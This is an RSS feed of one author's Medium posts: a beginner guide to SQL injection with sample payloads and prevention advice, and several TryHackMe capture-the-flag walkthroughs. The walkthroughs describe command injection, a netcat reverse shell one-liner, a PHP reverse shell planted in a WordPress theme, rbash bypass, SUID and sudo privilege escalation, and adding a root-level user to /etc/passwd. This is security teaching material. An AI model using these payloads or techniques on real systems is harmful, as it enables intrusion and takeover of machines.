<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ankit kumar sinha on Medium]]></title>
        <description><![CDATA[Stories by Ankit kumar sinha on Medium]]></description>
        <link>https://medium.com/@Ankit.0101?source=rss-711146432241------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6yMxbzlsOvBmj-9yCs3fyw.gif</url>
            <title>Stories by Ankit kumar sinha on Medium</title>
            <link>https://medium.com/@Ankit.0101?source=rss-711146432241------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 16:14:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Ankit.0101/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Beginner’s Guide to Exploiting SQL Injection Vulnerabilities]]></title>
            <link>https://medium.com/@Ankit.0101/a-beginners-guide-to-exploiting-sql-injection-vulnerabilities-b927ea89146f?source=rss-711146432241------2</link>
            <guid isPermaLink="false">https://medium.com/p/b927ea89146f</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ankit kumar sinha]]></dc:creator>
            <pubDate>Fri, 14 Mar 2025 00:32:23 GMT</pubDate>
            <atom:updated>2025-03-14T00:33:22.309Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>A Beginner’s Guide to Exploiting SQL Injection Vulnerabilities</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*umEutYe1ziV_4WijmB4y0w.jpeg" /></figure><h3>Introduction</h3><p>SQL Injection (SQLi) is one of the most critical web application vulnerabilities that allows attackers to manipulate a website’s database by injecting malicious SQL queries. This can lead to unauthorized data access, data leaks, or even complete control over the database. In this guide, we’ll walk through the basics of SQL Injection, how it works, and some common techniques used to exploit it.</p><h3>What is SQL Injection?</h3><p>SQL Injection is a code injection attack where an attacker manipulates a web application’s database queries. This vulnerability occurs when user input is not properly sanitized before being included in SQL statements. If an application directly inserts user input into a database query without validation or parameterization, an attacker can modify the query structure and extract sensitive information, delete records, or even execute administrative operations.</p><h3>How Does SQL Injection Work?</h3><p>Consider a simple login form with the following query:</p><pre>SELECT * FROM users WHERE username = &#39;user&#39; AND password = &#39;password&#39;;</pre><p>If the application does not properly sanitize inputs, an attacker can manipulate the query by injecting SQL code. For example, entering the following in the username field:</p><pre>&#39; OR &#39;1&#39;=&#39;1</pre><p>This modifies the SQL query to:</p><pre>SELECT * FROM users WHERE username = &#39;&#39; OR &#39;1&#39;=&#39;1&#39; AND password = &#39;password&#39;;</pre><p>Since &#39;1&#39;=&#39;1&#39; is always true, this allows the attacker to bypass authentication.</p><h3>Types of SQL Injection Attacks</h3><ol><li><strong>Union-Based SQL Injection</strong></li></ol><ul><li>Exploits the UNION SQL operator to merge multiple queries and extract data from the database.</li><li>Example:</li></ul><pre>&#39; UNION SELECT username, password FROM users --</pre><p><strong>2. Error-Based SQL Injection</strong></p><ul><li>Manipulates SQL queries to generate database errors, which can reveal valuable information.</li><li>Example:</li></ul><pre>&#39; OR 1=1 ORDER BY 1--</pre><p>(This could reveal column names in the error messages.)</p><p><strong>3. Boolean-Based SQL Injection</strong></p><ul><li>Exploits conditional statements to infer information, even when errors are suppressed.</li><li>Example:</li></ul><pre>&#39; AND &#39;1&#39;=&#39;1 --</pre><ol><li><strong>Time-Based SQL Injection</strong></li></ol><ul><li>Uses database delay functions (e.g., SLEEP(5), pg_sleep(5)) to infer if an injected condition is true or false.</li><li>Example:</li></ul><pre>&#39; OR IF(1=1, SLEEP(5), 0) --</pre><h3>Steps to Exploit SQL Injection</h3><ol><li><strong>Identify Injection Point:</strong></li></ol><ul><li>Input fields, URL parameters, headers, and cookies are common injection points.</li><li>Use a single quote (&#39;) or &quot; to check for errors.</li></ul><ol><li><strong>Determine Database Type:</strong></li></ol><ul><li>Use queries like ORDER BY n (to determine the number of columns).</li><li>Example:</li></ul><pre>&#39; ORDER BY 3 --</pre><ol><li><strong>Extract Data:</strong></li></ol><ul><li>Use UNION SELECT to extract database tables and columns.</li><li>Example:</li></ul><pre>&#39; UNION SELECT 1,2,3,4,5 --</pre><ol><li><strong>Bypass Authentication:</strong></li></ol><ul><li>Common trick: admin&#39; --</li><li>Password Bypass: `’ OR ‘1’=’1&#39;</li></ul><ol><li><strong>Advanced Attacks:</strong></li></ol><ul><li>Exploit time-based, error-based, or out-of-band SQL injections if needed.</li></ul><h3>Preventing SQL Injection</h3><ol><li><strong>Use Parameterized Queries</strong> — Always use prepared statements instead of concatenating user inputs directly.</li><li><strong>Use Web Application Firewalls</strong> — WAFs help detect and block SQLi attempts.</li><li><strong>Least Privilege Principle</strong> — Restrict database privileges to prevent unauthorized access.</li><li><strong>Regular Security Audits</strong> — Perform regular penetration tests to detect and mitigate vulnerabilities.</li><li><strong>Escape User Inputs</strong> — Always sanitize and validate user inputs to prevent injection attempts.</li><li><strong>Limit Error Messages</strong> — Do not expose database errors to the users; use generic error messages.</li></ol><h3>Tools for Finding SQLi Vulnerabilities</h3><ul><li><strong>SQLmap</strong>: Automated SQL Injection tool.</li><li><strong>Burp Suite</strong>: Proxy-based tool for manual and automated testing.</li><li><strong>Havij</strong>: SQL Injection automated tool (outdated but still referenced).</li><li><strong>NoSQLMap</strong>: Useful for NoSQL injections in applications using MongoDB.</li></ul><h3>How to Prevent SQL Injection Attacks?</h3><ul><li><strong>Use Prepared Statements (Parameterized Queries):</strong></li></ul><pre>$stmt = $pdo-&gt;prepare(&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;);<br>$stmt-&gt;execute([$username, $password]);</pre><ul><li><strong>Escape User Input</strong>: Use functions like mysqli_real_escape_string() or mysql_real_escape_string().</li><li><strong>Use Web Application Firewalls (WAFs)</strong>: Tools like ModSecurity can help filter and block SQL injection attempts.</li><li><strong>Regular Security Audits</strong>: Conduct penetration tests to identify vulnerabilities.</li><li><strong>Limit Database Privileges</strong>: Minimize user privileges to reduce risk.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b927ea89146f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme — Kazuki walkthrough]]></title>
            <link>https://medium.com/@Ankit.0101/tryhackme-kazuki-walkthrough-7fd95d5184df?source=rss-711146432241------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fd95d5184df</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kazuki]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Ankit kumar sinha]]></dc:creator>
            <pubDate>Wed, 24 Apr 2024 15:05:15 GMT</pubDate>
            <atom:updated>2024-04-24T15:21:09.773Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tryhackme — Kazuki walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*4YXh7jr7fVHSyb3igV08Dg.jpeg" /><figcaption>Tryhackme — kazuki</figcaption></figure><p>hello everyone Ankit here today i have just launched a capture the flag [ ctf ] room on tryhackme and lso sharing the walkthrough of it so thanks for reading this blog and solving my room</p><p>so let’s start <br>At first let’s scan open ports</p><p>Nmap:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*LFodSBP3J5Ih-GoB-N2hfg.png" /><figcaption>nmap output</figcaption></figure><ul><li>FTP on port 60000</li></ul><p>&gt; let’s dig in</p><p>FTP:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*iyS6em1Jb8EVRdlQm4mAIA.png" /><figcaption>ftp</figcaption></figure><ul><li>So here we have a file named .rabbithole that contains</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*Ksc3OV2JAEeIkRF7XPDZXQ.png" /><figcaption>.rabbithole</figcaption></figure><ul><li>okay so after that lets look at the web</li><li>The web start’s with a default apache2 page so let’s fuzz out directories</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*eI4EG4p7_v8nC1FBHJwDNw.png" /><figcaption>fuzz</figcaption></figure><ul><li>after running feroxbuster ( feroxbuster is a tool that used to bruteforce web directories ) from that we got a folder name /htaccess so let’s open it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*2lmm9Fqks3X-1QUiip7LhA.png" /><figcaption>open directories</figcaption></figure><ul><li>here we got almost all directory as null but as on feroxbuster output i have marked we have more directories on /lo and more</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elM2CSOtsTa5MPkC5I8s8Q.png" /><figcaption>/htaccess</figcaption></figure><ul><li>so here we have a hacker.txt let’ read it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*Xox5z8cPm8rYg2on3-A5ng.png" /><figcaption>encoded text</figcaption></figure><ul><li>let’s paste the hash on cyberchief</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTemgRPNsvfoyG9kizSR6A.png" /></figure><ul><li>so from that hash we got the username for ssh user</li><li>after visiting allmost all directories we have a jpg file there</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*WJ0rE9ALXDV4Rkrj9JCPZw.png" /><figcaption>pro.jpg</figcaption></figure><ul><li>after doing some steg the image while extracting image it prompts for password we i used stegseek to crack it with rockyou wordlists</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*yxBlJfgFNzNnWlhp9YxWKg.png" /></figure><ul><li>After extracting this we got a secret.txt file so let’s read it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*etBSHg65RecnUz33-MMbQA.png" /><figcaption>secret.txt</figcaption></figure><ul><li>so it is tell us to visit the page ********** page so let’s visit it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*zLEzFVW1piHfXEvqOM817w.png" /></figure><ul><li>the web page have this content but if we scroll down we will have something more interesting here</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*u3TNGBB5bTQAjN_qqoIleA.png" /><figcaption>another hash</figcaption></figure><ul><li>so let’s decode it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*YuCyVNGiyC1sxW0dkeYhOA.png" /></figure><ul><li>after decoding we have pass as mentioned in hint to remove “ — — -” from the pass and we have this so it might be a pass</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*3CXeOf6o8sgU_nBniwMatA.png" /></figure><ul><li>so lets try to use it on ssh on port 60001 with user paranoid</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*mYVh11dINH19W4uGjlT6Xw.png" /><figcaption>ssh</figcaption></figure><ul><li>so here we are inside the machine so let’s enumerate</li><li>we cant move around because the user have rbash enabled</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*yrk4v_-w3l5Ewl_y03guEA.png" /><figcaption>rbash</figcaption></figure><ul><li>so let’s bypass rbash with vim</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*CcmcmwWVOF0YsxtkkHV7Xw.png" /><figcaption>set shell=/bin/bash on vim</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*pIhmTWhTHrOBYwIxk7mr3Q.png" /><figcaption>shell</figcaption></figure><ul><li>when we just type vim and entered in vim environment we have to wite upper command to bypass the rbash</li><li>so now no rbash can stop us to enumerate the machine</li><li>by doing sudo -l we have got to know we have another user hemker in which we can switch in</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*X9rdJvOaJNSfp3QuzqFZDQ.png" /><figcaption>sudo -l</figcaption></figure><ul><li>so let’s switch</li><li>so now we have to create a file name bee.sh on /dev/shm and make it executable so that it can execute</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*Adsuo_QyJP05e-Rr2G3vCQ.png" /></figure><ul><li>so after entering this code lets switch to another user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*lGvb18xWPDG5yyY61mJxGw.png" /></figure><ul><li>after runnig this we switched the user so lets enumerate the second user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*DEc954B1jR16CRE6_hn6hw.png" /></figure><ul><li>so we have docker on it so lets abuse docker to get root</li><li>so let’s see which image is docker running</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*r4X8n4rZjRJ09EUbhAqxJw.png" /><figcaption>ubuntu running</figcaption></figure><ul><li>so the docker is running ubuntu</li><li>so by searching docker on gtfo bins we got this</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*BUBD0kZo3ywX4jheuwTgCA.png" /><figcaption>gtfo bins</figcaption></figure><ul><li>we have to replace alpine with ubuntu and sh with bash so that we can root the machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*gyBO2eDT9F-6lQcxdDUxVg.png" /></figure><ul><li>so now we are root on our machine</li></ul><p>thank you once again for reading my blog and solving my machine thank you soo much</p><p>~Ankit [ 4stersec ]</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fd95d5184df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KOTH — Space Jam walkthrough Tryhackme | By Ankit kumar (Astersec)]]></title>
            <link>https://medium.com/@Ankit.0101/koth-space-jam-walkthrough-tryhackme-by-ankit-kumar-astersec-573428946d80?source=rss-711146432241------2</link>
            <guid isPermaLink="false">https://medium.com/p/573428946d80</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Ankit kumar sinha]]></dc:creator>
            <pubDate>Mon, 01 Jan 2024 11:39:45 GMT</pubDate>
            <atom:updated>2024-01-01T11:41:30.055Z</atom:updated>
            <content:encoded><![CDATA[<h3>KOTH — Space Jam walkthrough Tryhackme | By Ankit kumar (Astersec)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJtUADMrEAR5f5ZUzVV-DQ.png" /><figcaption>tryhackme Koth</figcaption></figure><p># Nmap :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*ubA5QB7OD-EYYbtEJGb85g.png" /><figcaption>nmap</figcaption></figure><p>#Port : 3000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*Io4BJta0rxjc5wm1zzdhqg.png" /></figure><p>so here as it says cmd parameter is undefined so lets put cmd there and let’s see what’s happens .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSDfEwjyH0osjEBKUnfLIQ.png" /><figcaption>command injection</figcaption></figure><p># Reverse shell: here i used busy box netcat for reverse shell [ busybox nc &lt;ip&gt; &lt;port&gt; -e sh ]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*VNRyQpD-j3fGing4XDi-Og.png" /></figure><p>we get directly root shell no need to escalate. ;)</p><p>Thanks for reading ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=573428946d80" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KOTH — Tyler walkthrough Tryhackme | By Ankit kumar (Astersec)]]></title>
            <link>https://medium.com/@Ankit.0101/koth-tyler-walkthrough-tryhackme-by-ankit-kumar-astersec-e0a6cc2da8bb?source=rss-711146432241------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0a6cc2da8bb</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Ankit kumar sinha]]></dc:creator>
            <pubDate>Fri, 29 Dec 2023 11:52:03 GMT</pubDate>
            <atom:updated>2023-12-29T11:52:03.819Z</atom:updated>
            <content:encoded><![CDATA[<h3><a href="https://medium.com/@Ankit.0101/koth-fortuna-walkthrough-tryhackme-by-ankit-kumar-astersec-808cc61749e2?source=user_profile---------0----------------------------">KOTH — Tyler walkthrough Tryhackme | By Ankit kumar (Astersec)</a></h3><p>#Difficulty :- Medium-easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qzwkB0-aQiOBGDbvnU9pTQ.png" /></figure><p># Nmap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*p4kV5tnoBfr9Qd4eNa-nwA.png" /><figcaption>nmap</figcaption></figure><blockquote>so here we have smb port open let’s enumerate smb:(</blockquote><p># smb:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*PJ_Zc0nTD1yDxhFPTiUFig.png" /><figcaption>smbclient</figcaption></figure><blockquote>here we have two shares let’s check them</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*mhBnw8jLhuHSfevs4SO7Cg.png" /></figure><blockquote>here we have two an interesting file named <strong>alert.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*gDt7Ytzh3nVTbPCJk03nZA.png" /></figure><blockquote>so here we have some interesting string let’s enumerate further . may be the string can be used as a password for any pannel .</blockquote><blockquote>By directory brute forcing we get <strong>/betatest</strong> directory .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*5xyXy_KD5ZFjgkoR_fZ28g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDGPpRMpUdsIRAJbd9rbYQ.png" /><figcaption>betatest</figcaption></figure><blockquote>here we get user check functionality . let’s check for <strong>root</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_xV8nl1ql5gyP2ihdBQJA.png" /><figcaption>root</figcaption></figure><blockquote>it gives the response from <strong><em>/etc/passwd</em></strong> file. so let’s try to use command seperator operator ( ; ) to run two commands at a time .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jptL1IKwWcRrV-lBE3ZSjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_v0EqMpZSE8kNI7xV-T52w.png" /></figure><p>so it’s working let’s try to get rev shell from there .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1oByvndhOWjEVSF_Km25w.png" /></figure><blockquote>here we get the shell now let’s try to stable the shell and escalate the privilege .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*WvnJlxLAIgQ7wVqA6cDBRA.png" /></figure><blockquote>here we have special permissions set for vim. so let’s use it to escalate the privilege .</blockquote><blockquote>we can use many techniques from which we can escalate the privilege am gona use gtfo bins for vim priv escalation . because it’s sweet and simple way to escalate the privilege .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*Xs8XTbubAGEa1BmR7nH7pQ.png" /><figcaption>gtfobins</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*1HWkYuhRqq4aTWQ27m5V5A.png" /><figcaption>here we rooted the machine .</figcaption></figure><p>so here the machine was rooted thanks for reading .</p><p>from here you can add another user on /etc/passwd and generate the hash from openssl and copy the root [root:x:0:0:root:/root:/usr/bin/zsh] and paste the hash on x.</p><p>[&lt;new-user&gt;:&lt;openssl-hash&gt;:0:0:root:/root:/usr/bin/zsh ] and then ssh with the new-user and the password of the hash that you have been generated using openssl .</p><p>##[ ps . My machine has expired so sorry for not using the images . ]</p><p>peace :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0a6cc2da8bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KOTH — Fortuna walkthrough Tryhackme | By Ankit kumar (Astersec)]]></title>
            <link>https://medium.com/@Ankit.0101/koth-fortuna-walkthrough-tryhackme-by-ankit-kumar-astersec-808cc61749e2?source=rss-711146432241------2</link>
            <guid isPermaLink="false">https://medium.com/p/808cc61749e2</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ankit kumar sinha]]></dc:creator>
            <pubDate>Thu, 28 Dec 2023 15:18:16 GMT</pubDate>
            <atom:updated>2023-12-29T05:25:02.830Z</atom:updated>
            <content:encoded><![CDATA[<h3>KOTH — Fortune walkthrough Tryhackme | By Ankit kumar (Astersec)</h3><h3>Difficulty: — Very EASY</h3><h3>#Nmap</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eovpo5DgKgt73PUJezvKug.png" /><figcaption>nmap</figcaption></figure><blockquote>so here we have some base64 encoded strings at port 3333 . So let’s enumerate .</blockquote><p># <em>dec-notes?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*w3ar2UUokPr0a7y6tAk58A.png" /><figcaption>base64 string</figcaption></figure><blockquote>by using netcat we can get the base64 string out : you can also use your browser for that.</blockquote><blockquote>some files (data) found on decoding the string let’s slap the base64 encoded string on cyber chief to check the file type .</blockquote><p># cyberchief :- <a href="https://gchq.github.io/">https://gchq.github.io</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1O_8RlbkX10MCph3bT98Kg.png" /><figcaption>cyber chief</figcaption></figure><blockquote>By using cyber chief it tells us the file type is zip so lets get the hash and decode it and then convert it to zip .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*12gS-2g9KzwSs3_hAwg2Ug.png" /><figcaption>decoded the hash and redirected there output into fortuna.zip</figcaption></figure><blockquote>so here i again used netcat to get the hash and used <em>base64 -d</em> to decode the hash and convert and then redirected it into fortune.zip</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*4bC0UbuGxBoy3TJwzWWNyA.png" /><figcaption>asking for password</figcaption></figure><blockquote>so here on while unzipping the fortuna.zip file it asks for password so let’s try to crack the zip password .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*xrgc6YPf17G83qwBZonqHQ.png" /><figcaption>fcrack</figcaption></figure><p>here i used fcrack to crack the zip password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*ZSdoMsVMyjvHJy3KBpqZbw.png" /><figcaption>unzip</figcaption></figure><blockquote>here we unzipped the file using the cracked credentials and found creds .txt inside of it let’s try to use it on ssh.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*AyDQ8kV-PZeQI2iq0VI5CA.png" /><figcaption>logged in a fortuna via ssh</figcaption></figure><blockquote>logged in via ssh . so let’s enumerate and root the machine.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*M15YvnrFwsBIT3PuP37VIg.png" /><figcaption>sudo rights</figcaption></figure><blockquote>here by doing sudo -l we get some special sudo rights that can be used on priv escalation . Let’s check on GTFo Bins .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*eGOMxIGUAE7PsBCr3psiAQ.png" /><figcaption>gtfobins</figcaption></figure><blockquote>yep we have sudo rights functions for pico written on gtfo bins .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*x0uamczpdrP_Ux0XnilneA.png" /><figcaption>gtfobins</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*LK5TqFN4-s7yDEc02Q7YJQ.png" /><figcaption>root</figcaption></figure><blockquote>here we escalated the privileges using pico ; and became root .</blockquote><blockquote>Thanks for reading .</blockquote><blockquote>peace:)</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=808cc61749e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme koth panda writeup | by Ankit kumar sinha]]></title>
            <link>https://medium.com/@Ankit.0101/tryhackme-koth-panda-af078a18b852?source=rss-711146432241------2</link>
            <guid isPermaLink="false">https://medium.com/p/af078a18b852</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[wordpress-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[koth]]></category>
            <dc:creator><![CDATA[Ankit kumar sinha]]></dc:creator>
            <pubDate>Wed, 27 Dec 2023 16:54:52 GMT</pubDate>
            <atom:updated>2023-12-28T06:23:06.530Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, We are going to do a <strong>king of the hill [KOTH]</strong> <a href="https://medium.com/u/dc49a0a3cb16">TryHackMe</a> Machine named — <strong>Panda</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x3QFwKQfZRFdYD801c7_IA.png" /><figcaption>Theme</figcaption></figure><p><strong>Difficulty: — EASY</strong></p><p><strong><em>#Nmap</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*o6uRozb_MPwRqPAnHoko8w.png" /><figcaption>nmap scan result</figcaption></figure><blockquote>So alot’s of ports are open so lets start with 80 {HTTP}.</blockquote><p><strong><em># Fuzzing :- Let’s start with gobuster</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*mRNJfTl3IwSr5imKM6Uudg.png" /><figcaption>Gobuster output</figcaption></figure><blockquote>Found <strong>the /Wordpress</strong> Directory by fuzzing.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWpMj1XxppF-ceRTvnG6ig.png" /><figcaption>/wordpress directory</figcaption></figure><blockquote>Let’s check out the<strong> /wp-login.php</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXcqx0E5x7g7JJAoOrdqpw.png" /><figcaption>wordpress login</figcaption></figure><blockquote>so here we have an wordpress login and by the <strong>/wordpress</strong> directory we identified the username as “ <strong>po “ .</strong></blockquote><p>Now lets try to brute force the password by <strong>wpscan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*llThpV7NTExzgKeSn837zQ.png" /><figcaption>wpscan output</figcaption></figure><blockquote>so with the password let’s login</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pBQiX8ZGAKmOVDAaBYw2WQ.png" /><figcaption>wordpress loggedin</figcaption></figure><p>let’s take a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PvsqJFziyOcxf_24UGOw-A.png" /><figcaption>comment.php</figcaption></figure><blockquote>we can take shells with “ <strong>comment.php</strong> “ , am using pentest monkey <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php revshell</a></blockquote><blockquote>so its time to trigger the shell</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Th5FTfK_WBv_CGi1k9TuYQ.png" /><figcaption>here we get the shell</figcaption></figure><blockquote><strong>after stabling the shell i went to check the SUID binaries</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*szimSb7VVdaQlg4tffMz5A.png" /></figure><blockquote><strong>so here we have a suid of find</strong></blockquote><blockquote><strong><em>let’s check </em></strong><a href="https://gtfobins.github.io/#find"><strong><em>gtfobins</em></strong></a><strong><em> for suid priv escalation.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*vTzizTlS1NEnhkKCZ1UbNg.png" /><figcaption>gtfo bins</figcaption></figure><blockquote><strong>here we have the suid. let’s escalate</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*zQnD4ViAmyOjQINkJMpRJw.png" /><figcaption>here we have root</figcaption></figure><blockquote><strong>so here we rooted the machine</strong></blockquote><p>Thanks for reading . This was my first blog hope you like it .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af078a18b852" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>